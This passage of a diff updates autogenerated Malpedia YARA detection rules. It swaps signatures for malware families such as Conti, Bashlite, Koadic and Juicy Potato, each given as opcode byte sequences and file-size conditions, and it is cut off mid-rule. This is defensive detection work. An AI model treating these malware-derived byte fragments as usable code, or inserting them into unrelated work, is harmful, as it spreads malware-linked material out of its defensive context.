727f } condition: - 7 of them and filesize < 630784 + 7 of them and filesize < 42670080 } -rule MALPEDIA_Win_Coredn_Auto : FILE +rule MALPEDIA_Win_Mylobot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "07ee8205-8782-52d9-9a53-818875f21066" + id = "f7dde5ee-bede-5ac3-b3eb-6e299ffacf3b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.coredn" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.coredn_auto.yar#L1-L165" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mylobot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mylobot_auto.yar#L1-L174" license_url = "N/A" - logic_hash = "67a00f5807f423f86c2e11cef6a3e34c3be3d717b80668bf24ae3e2d19c2ab6b" + logic_hash = "56cc02e4b48743c53b559e650312c78d0538beee90fc9e32cc4b9fd49244eca7" score = 75 quality = 75 tags = "FILE" @@ -111635,76 +111727,77 @@ rule MALPEDIA_Win_Coredn_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 51 56 8d45fc 8bf1 50 e8???????? 85c0 } - $sequence_1 = { 8b7508 ba04010000 2bf1 6690 } - $sequence_2 = { 84c0 7415 8801 41 83ea01 } - $sequence_3 = { 5e 8be5 5d c20400 85c9 7506 48 } - $sequence_4 = { 8a1c06 84db 741c 8818 4a 40 83e901 } - $sequence_5 = { 0f1f440000 3811 7408 41 83e801 75f6 eb04 } - $sequence_6 = { 41 83ea01 75e7 8851ff b87a000780 5e } - $sequence_7 = { 75ec 48 bf7a000780 8808 8bc7 5f 5b } - $sequence_8 = { 85d2 7417 0fb73407 6685f6 740e } - $sequence_9 = { d3c8 3305???????? 3905???????? 0f8594070000 } - $sequence_10 = { 83e13f c1f806 6bc930 8b048508414100 } - $sequence_11 = { 8b30 8bd6 c1fa06 8bc6 83e03f 6bc830 8b049508414100 } - $sequence_12 = { eb57 53 8b1c85e8dd4000 56 6800080000 6a00 53 } - $sequence_13 = { b802000000 833d????????00 0f85b00a0000 8d0d60104100 } - $sequence_14 = { 8b0c8d08414100 c644112800 85f6 740c 56 } + $sequence_0 = { 75f6 5e c3 8b442404 eb05 40 84c9 } + $sequence_1 = { 6a00 6a00 8d8c24c4000000 51 } + $sequence_2 = { 8b54241c 891481 ff430c 8b4ff0 85c9 7502 } + $sequence_3 = { 8bf0 6aff 56 ff15???????? 56 ff15???????? 6810270000 } + $sequence_4 = { 5d 5e 5b 81c404080000 c3 8b4c2404 8b54240c } + $sequence_5 = { 42 84c9 75f6 5e c3 } + $sequence_6 = { ff96a8000000 50 ff5670 a1???????? 57 ff742410 ff742414 } + $sequence_7 = { 8b54240c 56 8b74240c 57 8bf9 2bf1 8bc2 } + $sequence_8 = { ff15???????? 85c0 0f8447010000 8b742438 85f6 0f843b010000 8b3d???????? } + $sequence_9 = { 51 8d8ddcfdffff e8???????? 83c404 85c0 } + $sequence_10 = { c3 ff15???????? 8b45f0 50 ff15???????? } + $sequence_11 = { b8???????? e8???????? 83c40c 85c0 0f84d9010000 } + $sequence_12 = { 8d4dfc 51 52 ffd0 8b45fc } + $sequence_13 = { 6a09 50 ffd2 8bf8 } + $sequence_14 = { 7416 8bff 0fb6d0 8a9c15dcfdffff 84db } + $sequence_15 = { 85c0 0f84c3000000 8b08 8d55f8 52 68???????? } condition: - 7 of them and filesize < 270336 + 7 of them and filesize < 8028160 } -rule MALPEDIA_Win_Sadbridge_Auto : FILE +rule MALPEDIA_Win_Darkpink_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d5c20ad4-43c0-50c3-9d4c-1a951b87b122" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sadbridge" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sadbridge_auto.yar#L1-L133" + id = "b675ae58-304b-51cc-82c9-2d05a952daf3" + date = "2024-10-31" + modified = "2024-11-11" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkpink" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkpink_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "d280954e74300d3f9a45abc8f0031561691484da682361fb4efd2fdc22668bb8" + logic_hash = "ae61fd7de2751bb38bc52ea4bef7ef6d5cc9562894ba78123146d52f1f8217ba" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20241030" + malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4" + malpedia_version = "20241030" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 48c7435800000000 4c89e1 48c7436000000000 48c7436800000000 48c7437000020000 66894378 } - $sequence_1 = { 31d2 83e001 05ffffff7f 8944245c 41f7f5 89442458 488d869c000000 } - $sequence_2 = { 0f8568fcffff 488b4570 448920 e9???????? 488b01 ff5048 83f8ff } - $sequence_3 = { 53 4883ec28 4889542478 4989cd 4c89842480000000 4839d1 0f843f010000 } - $sequence_4 = { 400f94c6 4885c0 0f94c2 4809c1 0f8489020000 8b842498000000 4531f6 } - $sequence_5 = { 31d0 29d0 83f864 0f9fc0 0fb6c0 4883c428 5b } - $sequence_6 = { 49c744240800000000 498d4c2438 49c744241000000000 488d7810 49893c24 49c744241800000000 49c744242000000000 } - $sequence_7 = { 41ba01000000 4885c9 741e 488b4110 483b4118 0f83ad020000 0fb700 } - $sequence_8 = { 488b4c2470 448b6c2478 4885c9 740a 4183fdff 0f84a7030000 4084ff } - $sequence_9 = { 745c 498b4c2410 4839cb 7732 4d85c0 7416 4a8d0c50 } + $sequence_0 = { 0f8579010000 8b35???????? 68a6000000 68???????? 6a01 50 } + $sequence_1 = { ffd3 85c0 7530 6a32 } + $sequence_2 = { c1f806 6bc938 8b0485f09d4100 0fb6440828 83e040 5d } + $sequence_3 = { c745e4a8604100 eb07 c745e494604100 8b4508 } + $sequence_4 = { 8b04bdf09d4100 ff743018 ff15???????? 85c0 7404 } + $sequence_5 = { 56 57 e8???????? 57 68???????? 53 } + $sequence_6 = { 85f6 7420 6bc618 57 8db8f09b4100 } + $sequence_7 = { 83e03f c1f906 6bd038 8b45fc 03148df09d4100 } + $sequence_8 = { 83e73f c1f906 6bd738 8b0c8df09d4100 c644112800 } + $sequence_9 = { 8bcf 83e03f c1f906 6bd038 8b45fc 03148df09d4100 } condition: - 7 of them and filesize < 25882624 + 7 of them and filesize < 237568 } -rule MALPEDIA_Win_Dramnudge_Auto : FILE +rule MALPEDIA_Elf_Bashlite_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4e1e9905-62de-5567-9ed7-a82928870a8c" + id = "bbeb65b7-8b2b-54dc-9314-a8bcbc56853e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dramnudge" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dramnudge_auto.yar#L1-L90" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.bashlite_auto.yar#L1-L94" license_url = "N/A" - logic_hash = "221dd8bcd930b6121a924fbe6761de15c83c657ddce0c9178183beb8828f75f7" + logic_hash = "98d7f6d0b73040daa4a477a42fca0025382c8a865bb2020813f6076b3c9fb152" score = 75 quality = 75 tags = "FILE" @@ -111718,30 +111811,30 @@ rule MALPEDIA_Win_Dramnudge_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 014218 eb18 03c3 8bd3 } - $sequence_1 = { 000c00 20b140005f5f 7277 7374 } - $sequence_2 = { 014318 8b430c 2b4308 03c6 } - $sequence_3 = { 000c00 e0d9 40 007374 } - $sequence_4 = { 014318 8b4318 8b55f8 03d6 } - $sequence_5 = { 007374 643a3a 7275 6e } - $sequence_6 = { 0000 90 000c00 20b140005f5f } - $sequence_7 = { 014318 eb5b 33f6 eb01 } + $sequence_0 = { 85c0 750c c785ecefffff01000000 eb0a c785ecefffff00000000 } + $sequence_1 = { f7d0 21d0 3345fc c9 c3 } + $sequence_2 = { e8???????? 8945ec 837dec00 750b } + $sequence_3 = { 89c2 89d0 c1e81f 01d0 } + $sequence_4 = { 83f8ff 750c e8???????? 8b00 83f873 } + $sequence_5 = { 760f e8???????? c7001c000000 31c0 } + $sequence_6 = { eb0a c785ecefffff00000000 8b85ecefffff c9 } + $sequence_7 = { eb19 e8???????? c70016000000 e8???????? c70016000000 } condition: - 7 of them and filesize < 1294336 + 7 of them and filesize < 2310144 } -rule MALPEDIA_Win_Funny_Dream_Auto : FILE +rule MALPEDIA_Win_Koadic_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7c5b8541-25d5-552c-920a-b086563867d9" + id = "90cb2869-83e9-5158-9659-47bf570b7e5e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.funny_dream" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.funny_dream_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.koadic" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.koadic_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "d6d8f879d884c791eab9cf877f711b463f1b8fd3433301e06ffb4b2f059a3774" + logic_hash = "d8659459b0b0216a7ee3a53301a133024a4e0a3aca2952b29c3bef6ea3dd8620" score = 75 quality = 75 tags = "FILE" @@ -111755,34 +111848,34 @@ rule MALPEDIA_Win_Funny_Dream_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 8bd8 c745f025735c2a 56 8d45f0 } - $sequence_1 = { 8d7f01 88443bff 84c0 75f3 8b4df8 } - $sequence_2 = { 50 8d4701 c785e0f5ffff0a000000 50 } - $sequence_3 = { 50 e8???????? 68ff010000 8d85fdfdffff 6a00 } - $sequence_4 = { f3a4 50 e8???????? 8b742414 83c408 85c0 748d } - $sequence_5 = { 83bdacfeffff00 744b 8d85a0feffff c785a0feffff00010000 50 ffb59cfeffff } - $sequence_6 = { 57 8bf9 6a00 8db750100000 56 ff15???????? 85c0 } - $sequence_7 = { 56 8b7508 57 8b3d???????? 6aff ff7608 ffd7 } - $sequence_8 = { 53 8a4810 8d4602 50 884e01 e8???????? 8b4508 } - $sequence_9 = { 0f118424e0000000 0f10842458010000 0f118424f0000000 e8???????? 898424c8000000 8b4508 } + $sequence_0 = { 50 58 89450c 8b0424 50 58 894510 } + $sequence_1 = { 884c3410 85db 75d4 85f6 7e0c 8a4c3410 } + $sequence_2 = { 89442428 ff742420 8b6c2418 58 894500 ff742424 58 } + $sequence_3 = { 740d 50 51 e8???????? 83c408 c20800 } + $sequence_4 = { ff05???????? 8934c558344100 890cc55c344100 5e c20800 55 8bec } + $sequence_5 = { 8bf0 e8???????? 33ff 3bc7 740a 893e 897e04 } + $sequence_6 = { 897e1c 3bc5 0f8490000000 8b4804 894e10 8b480c 894e18 } + $sequence_7 = { c21000 8b442408 48 7404 33c0 eb15 8b442404 } + $sequence_8 = { 58 a3???????? ff7508 58 } + $sequence_9 = { 6a08 ff35???????? ff15???????? 8bf0 33db 3bf3 } condition: - 7 of them and filesize < 393216 + 7 of them and filesize < 180224 } -rule MALPEDIA_Win_Conti_Auto : FILE +rule MALPEDIA_Win_Biscuit_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "495a4961-c51d-5437-b6e5-42c5ef6dadea" + id = "4b580404-4186-5ded-b852-ff8cc2d91924" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.conti" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.conti_auto.yar#L1-L249" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.biscuit" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.biscuit_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "8e7e21e9b7d082151509bf910013dc897955e4fc02be809b33bd86909bb72949" + logic_hash = "21658c2822d8c2da349d55326a2fbe01a4e5603d4a188c5f0ab05c786709117d" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -111794,48 +111887,32 @@ rule MALPEDIA_Win_Conti_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7542 53 bb0e000000 57 8d7e01 8d7371 } - $sequence_1 = { 56 8bf1 8975fc 803e00 7542 53 bb0e000000 } - $sequence_2 = { 8d7f01 0fb6c0 b957000000 2bc8 } - $sequence_3 = { 0f1f4000 8a07 8d7f01 0fb6c0 b966000000 2bc8 } - $sequence_4 = { 8d7f01 0fb6c0 b927000000 2bc8 } - $sequence_5 = { 8d7f01 0fb6c0 b978000000 2bc8 } - $sequence_6 = { 56 57 bf0e000000 8d7101 } - $sequence_7 = { 8d7f01 0fb6c0 b918000000 2bc8 } - $sequence_8 = { ff75fc ff15???????? e9???????? 6800800000 } - $sequence_9 = { 57 56 ff15???????? ff75f8 56 ff15???????? } - $sequence_10 = { 7605 b800005000 6a00 8d4c2418 } - $sequence_11 = { ffd0 85c0 7519 c705????????0a000000 e9???????? b801000000 e9???????? } - $sequence_12 = { 6810660000 ff7508 ff15???????? 85c0 } - $sequence_13 = { e8???????? 8bb6007d0000 85f6 75ef } - $sequence_14 = { ff75f8 ff15???????? 85c0 7508 6a01 ff15???????? 6aff } - $sequence_15 = { 7411 a801 740d 83f001 50 ff7608 ff15???????? } - $sequence_16 = { 53 56 8bf1 57 ff7608 ff15???????? } - $sequence_17 = { 3ce9 7412 3cff 0f859d000000 807f0125 0f8593000000 } - $sequence_18 = { 85c0 742b 03f0 03d8 } - $sequence_19 = { 41b901000000 4533c0 488bd3 488bce } - $sequence_20 = { 410f4ff5 488bcb 448bc6 ffd0 } - $sequence_21 = { 49f7e8 4903d0 48c1fa06 488bca 48c1e93f 4803d1 488d3c92 } - $sequence_22 = { 72c3 488b7c2448 b801000000 488b742440 4883c430 } - $sequence_23 = { ffd0 4c3beb 740f 4c3bfb 740a 4c3bf3 } - $sequence_24 = { 4833c4 4889442438 4533e4 418be8 4489642430 4c8bfa 4c8bf1 } - $sequence_25 = { 8b4c2430 8b05???????? 03c7 03c8 894c2430 8b442430 } + $sequence_0 = { c6040800 8b4c241c 5f c745300030c084 8bc5 5e } + $sequence_1 = { 8b95b8b7ffff 52 e8???????? 83c404 eb22 8b85d4daffff 83e801 } + $sequence_2 = { 8d8dd0daffff 51 b9???????? e8???????? 25ff000000 85c0 } + $sequence_3 = { eb1f 8b45f0 83e801 898584b6ffff 8b8d84b6ffff 8a11 } + $sequence_4 = { 8b8d74b7ffff 3b4de0 0f83f5000000 8b55e0 2b9574b7ffff 899588b7ffff 8b857cb7ffff } + $sequence_5 = { 83bd28ffffff00 7502 eb71 8b8528ffffff 33c9 } + $sequence_6 = { 03f0 03d8 3bb42458100000 734f 6800100000 8d442444 53 } + $sequence_7 = { 8d8da0daffff e8???????? 8d9510b9ffff 52 b9???????? e8???????? } + $sequence_8 = { 8b8db0feffff 51 e8???????? 83c404 eb1f 8b55e4 83ea01 } + $sequence_9 = { 83e901 898d34feffff 8b9534feffff 8a02 2c01 8b8d34feffff } condition: - 7 of them and filesize < 520192 + 7 of them and filesize < 180224 } -rule MALPEDIA_Win_Unidentified_045_Auto : FILE +rule MALPEDIA_Win_Juicy_Potato_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7710c8cf-a592-5c63-bf57-74d2e907d9db" + id = "874d6ec6-fd0c-5bd7-9c40-0556815f8763" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_045" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_045_auto.yar#L1-L98" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.juicy_potato" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.juicy_potato_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "2c83bad8d9cfd5aadbf00585cf334eb826afab5840caeb0b4d10dd25220749b4" + logic_hash = "1027b6a0329ebee66fff8afc52e7ac6bf20b1db9537e47f298642e3fe872d860" score = 75 quality = 75 tags = "FILE" @@ -111849,30 +111926,32 @@ rule MALPEDIA_Win_Unidentified_045_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6800040000 53 53 681f000f00 50 } - $sequence_1 = { 83e70f 5b 83ff03 7205 83ff08 } - $sequence_2 = { 33db 6a68 8d45b8 53 50 895d70 } - $sequence_3 = { 7517 ff7638 8b4810 e8???????? } - $sequence_4 = { ff7510 8d45f0 56 6a0c 50 } - $sequence_5 = { ff7508 897dac 56 ff15???????? } - $sequence_6 = { 8901 8b8538ffffff 8b0d???????? 8901 } - $sequence_7 = { 03f0 0500040000 894508 8d8ef8000000 3bc8 0f87d6030000 b850450000 } + $sequence_0 = { 0f8521ffffff 44882b eb7b 488b9540070000 4c8d05d7b20200 } + $sequence_1 = { e8???????? 488d1548380300 488d4c2420 e8???????? cc 488d4c2420 e8???????? } + $sequence_2 = { 0fb7d0 488d8de0000000 81ca00000780 85c0 0f4ed0 e8???????? 488d15a8350200 } + $sequence_3 = { 488d054ab1ffff 4889442438 488d4c2428 e8???????? } + $sequence_4 = { e8???????? eb98 488d4c2420 e8???????? 488d15fee90200 488d4c2420 } + $sequence_5 = { 4889442430 8b442478 89442428 488b442470 4c8b11 4889442420 } + $sequence_6 = { 488901 488d05660b0100 48894110 f6c201 740a ba90000000 e8???????? } + $sequence_7 = { 4885c0 7509 488d056f200400 eb04 4883c024 8938 e8???????? } + $sequence_8 = { 4883ec20 488bd9 488bc2 488d0d9dc10000 48890b } + $sequence_9 = { 44016f6c 48875308 4c396b08 7521 8364242800 488d0560acfeff 4889442430 } condition: - 7 of them and filesize < 73728 + 7 of them and filesize < 736256 } -rule MALPEDIA_Win_Hui_Loader_Auto : FILE +rule MALPEDIA_Win_Mim221_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9d52a9e1-364f-5da9-98e9-94947c68e8f2" + id = "228071fb-1a03-5df1-9306-75e661d4eff3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hui_loader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hui_loader_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mim221" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mim221_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "9aeecb9fd394041a8c28b780fedfdb6f106e3cf0d7d8dbc8dc34058d911e30dc" + logic_hash = "fbcd019f6c67a46486f2c63b4d67a0947f9feb6ff08f1d935eac4f65f1ebad93" score = 75 quality = 75 tags = "FILE" @@ -111886,32 +111965,32 @@ rule MALPEDIA_Win_Hui_Loader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bc8 83e01f c1f905 56 57 8b348d60e20010 } - $sequence_1 = { 83c028 83c12c 4a 75eb b902000000 8d742454 83f901 } - $sequence_2 = { 8db604b40010 6a00 50 ff36 e8???????? } - $sequence_3 = { 75f8 42 83c628 83fa0a 7ce6 b931000000 33c0 } - $sequence_4 = { 68???????? ff15???????? 6a00 6a00 6a00 8bf0 6a04 } - $sequence_5 = { 80f95c 7408 8a48ff 48 3acb 75f3 } - $sequence_6 = { 56 ff15???????? 8bf8 85ff 7506 50 } - $sequence_7 = { 6880000000 6a03 53 6a02 6800000080 68???????? } - $sequence_8 = { ffd0 68e8030000 ffd6 8b0d???????? } - $sequence_9 = { 6a03 53 6a02 6800000080 68???????? ff15???????? } + $sequence_0 = { 488d0d77ec0100 e8???????? 488bf0 483bc5 7507 33c0 e9???????? } + $sequence_1 = { 66c785cc0000007800 66c785ce0000006300 66c785d00000006500 66c785d20000007000 66c785d40000007400 66c785d60000006900 66c785d80000006f00 } + $sequence_2 = { 48894108 488b442440 488b4808 4885c9 740f ff15???????? 488b4c2440 } + $sequence_3 = { 33d2 488d42ff 48f7f1 4883f801 733b 48c78424b800000000000000 488d9424b8000000 } + $sequence_4 = { 49c743a80f000000 49c743a000000000 c644247800 33c0 488d48ff 488d7c2460 f2ae } + $sequence_5 = { e8???????? 90 488d4c2450 e8???????? 90 488d054c2b0100 4889442450 } + $sequence_6 = { c78424c0000000d8000000 89ac24c4000000 89b424c8000000 48c78424d000000020010000 89bc24d8000000 48c78424e000000018000000 44899c24e8000000 } + $sequence_7 = { 4883f8ff 488be8 0f84ae000000 488d9424c0000000 488bc8 c78424c000000038020000 e8???????? } + $sequence_8 = { 6644897c2450 66c74424526400 66c74424545d00 66897c2456 } + $sequence_9 = { 7505 498bd1 eb21 498b5108 41386849 7504 49895008 } condition: - 7 of them and filesize < 131072 + 7 of them and filesize < 471040 } -rule MALPEDIA_Win_Portdoor_Auto : FILE +rule MALPEDIA_Win_Cryptoshuffler_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e4b852ed-5498-5523-835d-78e52c259853" + id = "998eec42-f040-507e-9bef-931d28600d2d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.portdoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.portdoor_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshuffler" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptoshuffler_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "7da9aa8b4f7f6857e35f1211f6a60eddf3c94eedff73ea09aab294e2b6809d65" + logic_hash = "2eb7cd664cf23b0f4478f6fc772120b42235dfe3815c8e843a34a2664a62760c" score = 75 quality = 75 tags = "FILE" @@ -111925,34 +112004,34 @@ rule MALPEDIA_Win_Portdoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 884dff eb4e 8808 46 40 eb48 80f909 } - $sequence_1 = { e8???????? 6a5c 58 6a2a 668945f0 } - $sequence_2 = { 50 a3???????? e8???????? 83c410 8b4dfc 33cd 5e } - $sequence_3 = { ff75e8 ff15???????? 6828020000 8d85c0fdffff } - $sequence_4 = { 6a64 5a ffb57cf7ffff 668945e0 } - $sequence_5 = { 8b0485b80f0210 f644010440 7409 803a1a 7504 33c0 eb1c } - $sequence_6 = { 59 85c0 0f84da000000 8b4704 8bce 8b7708 c1e102 } - $sequence_7 = { 807e0400 0f8564ffffff eb0c ff36 ff15???????? c6460400 5f } - $sequence_8 = { 85ff 7450 8d4701 50 } - $sequence_9 = { e8???????? a1???????? 33c5 8945fc 53 8b5d08 8d85fdfbffff } + $sequence_0 = { 660f282d???????? 660f59f5 660f28aa20a50210 660f54e5 660f58fe } + $sequence_1 = { 8d0486 894304 5f 8933 } + $sequence_2 = { f6c11f 0f85ad040000 8b41fc 3bc1 0f83a2040000 } + $sequence_3 = { 83f85b 757d 8b06 8b4e08 3bc1 } + $sequence_4 = { 837e4c29 8ad8 0f85fd000000 8b06 8b4e08 3bc1 } + $sequence_5 = { c7401c00000000 c7402000000000 8906 894604 8b4508 89460c 8bc6 } + $sequence_6 = { 8b4508 83c020 50 ff15???????? 5d c3 6a0a } + $sequence_7 = { e8???????? 8bce e8???????? 837e4cff b101 0f8555fcffff } + $sequence_8 = { 8d45b4 89458c 8d458c 51 50 51 e8???????? } + $sequence_9 = { 6685c0 0f84e7000000 6a00 8d4e24 } condition: - 7 of them and filesize < 297984 + 7 of them and filesize < 425984 } -rule MALPEDIA_Win_Maktub_Auto : FILE +rule MALPEDIA_Win_Equationdrug_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ecc73f32-ecbd-5318-a556-c2b45ed34c44" + id = "0821a935-fb15-5c3e-bb02-07988e07b501" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maktub" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.maktub_auto.yar#L1-L197" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.equationdrug" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.equationdrug_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "ff16c7a452af8c5ebf57513ce479bd7fbd7433b4ce2d8fbd914a83844ba9c640" + logic_hash = "33511eccd2ca8c4746b8fc7fbb9655df57173691c00d0c7d16e68bf416563316" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -111964,45 +112043,34 @@ rule MALPEDIA_Win_Maktub_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffd0 f7d8 1bc0 f7d8 8be5 } - $sequence_1 = { ff15???????? eb0a 57 6a08 } - $sequence_2 = { ff15???????? eb02 33c0 46 } - $sequence_3 = { ff15???????? eb02 33db 8b4df4 } - $sequence_4 = { ff15???????? e9???????? 8d43f4 3d???????? 0f84c1000000 833d????????00 } - $sequence_5 = { e8???????? 8b75fc 8b4df0 83c305 8a4513 } - $sequence_6 = { ff15???????? f6c301 0f8414010000 8d46fc } - $sequence_7 = { ff30 e8???????? 8bc7 5f 5e 5b } - $sequence_8 = { 8bf8 c785d4fdffff2c020000 8d85d4fdffff 50 57 68???????? } - $sequence_9 = { 8d4f14 8b18 8b7004 8d45e8 } - $sequence_10 = { 8bf8 8d442428 6a50 50 897c2424 } - $sequence_11 = { 8d4f2c e8???????? 84c0 7578 } - $sequence_12 = { 8bf8 c744242000000000 f7642424 8bcf 0fafcd 8bd8 8b44241c } - $sequence_13 = { 8bf8 8b4c242c 03f2 03710c } - $sequence_14 = { 8d4f20 e8???????? 84c0 750f } - $sequence_15 = { 8d4f10 e8???????? 8d4f30 8b30 8b5004 8d45f0 } - $sequence_16 = { 8d4f34 e8???????? 8d4f14 8b18 } - $sequence_17 = { 8bf8 8db508040000 b917000000 53 } - $sequence_18 = { 8d4f28 89471c 33c0 c6472000 } - $sequence_19 = { 8bf8 897dec 33db 66895f0c 895dfc 8b450c } - $sequence_20 = { 8d4f30 e8???????? 8b470c 8d4d10 } + $sequence_0 = { 751f 668b5c241c 66395c240c 7420 8d4c240c 46 51 } + $sequence_1 = { 8b4604 50 e8???????? 8b542430 8b4c2434 83c404 8d048a } + $sequence_2 = { 50 e8???????? 83c404 84c0 7507 b812060000 5e } + $sequence_3 = { 89742468 e8???????? 6a40 899c24bc030000 e8???????? 83c404 89442440 } + $sequence_4 = { 8b4618 50 8944240c e8???????? 33ff 897e18 897e1c } + $sequence_5 = { 8bc5 5e 5d 5b 81c498000000 c3 5f } + $sequence_6 = { 0f8578010000 8b9424f8000000 83c9ff 8bfa f2ae f7d1 51 } + $sequence_7 = { 85c0 66a5 7409 50 e8???????? 83c404 8b4c2418 } + $sequence_8 = { 5f 8930 5e 8919 5d 33c0 5b } + $sequence_9 = { 8b4c2414 83c408 897e08 897e0c 897e10 5f 5e } condition: - 7 of them and filesize < 3063808 + 7 of them and filesize < 449536 } -rule MALPEDIA_Win_Prikormka_Auto : FILE +rule MALPEDIA_Win_Bravonc_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2d17b792-a768-56ab-af11-e8fba342d1c6" + id = "6dc4fda1-21f0-5df6-853f-1dcbad03c148" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.prikormka" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.prikormka_auto.yar#L1-L417" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bravonc" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bravonc_auto.yar#L1-L124" license_url = "N/A" - logic_hash = 